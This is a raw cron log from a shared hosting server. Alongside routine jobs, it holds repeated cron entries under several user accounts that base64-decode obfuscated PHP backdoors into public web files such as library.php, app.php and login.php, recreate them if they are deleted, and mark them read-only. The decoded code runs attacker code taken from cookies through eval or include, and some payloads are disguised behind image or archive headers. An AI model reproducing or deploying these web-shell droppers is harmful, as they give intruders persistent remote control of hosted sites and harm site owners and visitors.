Apr 19 08:17:02 medusa CROND[24525]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:17:02 medusa CROND[24526]: (imercado) CMD (/usr/local/cpanel/3rdparty/bin/php -q /home/imercado/public_html/phplist/admin/index.php -pprocessqueue -c/home/imercado/public_html/phplist/config/config.php >/dev/null)
Apr 19 08:17:02 medusa CROND[24517]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:17:02 medusa CROND[24528]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:18:02 medusa CROND[14297]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Apr 19 08:18:02 medusa CROND[14298]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:18:02 medusa CROND[14299]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:18:02 medusa CROND[14300]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:18:02 medusa CROND[14306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:18:02 medusa CROND[14307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:18:02 medusa CROND[14308]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:18:02 medusa CROND[14309]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:18:02 medusa CROND[14310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:18:02 medusa CROND[14311]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:18:02 medusa CROND[14314]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:18:02 medusa CROND[14315]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:18:02 medusa CROND[14317]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:18:02 medusa CROND[14316]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:19:01 medusa CROND[4434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:19:01 medusa CROND[4454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:19:01 medusa CROND[4475]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:19:01 medusa CROND[4507]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:19:01 medusa CROND[4508]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:19:01 medusa CROND[4510]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:19:01 medusa CROND[4511]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:19:01 medusa CROND[4520]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:19:01 medusa CROND[4521]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:19:01 medusa CROND[4522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
